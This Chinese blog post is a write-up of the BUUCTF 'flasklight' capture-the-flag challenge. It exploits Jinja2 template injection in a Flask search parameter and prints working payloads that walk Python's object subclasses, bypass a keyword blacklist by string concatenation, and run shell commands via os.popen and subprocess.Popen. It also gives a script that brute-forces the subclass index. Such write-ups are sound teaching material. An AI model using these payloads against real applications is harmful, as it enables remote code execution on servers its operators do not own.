BUUCTF WEB flasklight

原创

显哥无敌 于 2022-03-07 10:47:32 发布 435 收藏

分类专栏： BUUCTF 文章标签： web安全

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/qq_41696858/article/details/123325025

版权

BUUCTF 专栏收录该内容

73 篇文章 2 订阅

订阅专栏

既然是flask框架，第一个想到的就是SSTI模板注入

之前也做过很多题了，审计源码，看到了

```
<!-- Parameter Name: search -->
 <!-- Method: GET -->
```

带过去的是get的search参数，这页面有查询回显

那么就拿基础payload试一下

```
?search={{7*7}}
```

成功回显49，验证完毕，下面就是找过滤和绕过了

先看config

```
?search={{config.items()}}
```

没啥好用的，那就从''里面一个一个往上找os，然后读吧

先找object

`?search={{''.__class__.__mro__}}`，回显下标2是object

查看object的子类

```
?search={{''.__class__.__mro__[2].__subclasses__()}}
```

查找过后没有内置的os模块，这里有两个思路，一个是利用动态加载的__import__自己手动引

二是虽然没有给出os模块，但是给出了<class 'subprocess.Popen'>，这样就可以通过子进程读取类来进行命令执行

第一种的payload：

```
?search={{''.__class__.__mro__[2].__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__imp
ort__('os').popen('ls').read()")}}
```

发现成功命令执行，因为global进了黑名单，所以需要通过拼接字符串的形式来进行绕过

第二种payload:

```
?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
```

关于subprocess模块的用法，可以看

https://blog.csdn.net/CSDNcylinux/article/details/108375407

当然由于object所包含的子类太多，写个脚本来匹配计算下标比较好

```
import requests
import re
import html
import time

index = 0
for i in range(170, 1000):
    try:
        url = "http://9c9a1f11-3e2c-4c99-adf2-3481d0ee2e15.node4.buuoj.cn:81/?search={{''.__class__.__mro__[2].__subclasses__()[" + str(i) + "]}}"
        r = requests.get(url)
        res = re.findall("<h2>You searched for:<\/h2>\W+<h3>(.*)<\/h3>", r.text)
        time.sleep(0.1)
        # print(res)
        # print(r.text)
        res = html.unescape(res[0])
        print(str(i) + " | " + res)
        if "subprocess.Popen" in res:
            index = i
            break
    except:
        continue
print("indexo of subprocess.Popen:" + str(index))
```

参考视频链接：https://www.bilibili.com/video/BV1wL4y1u7Mq/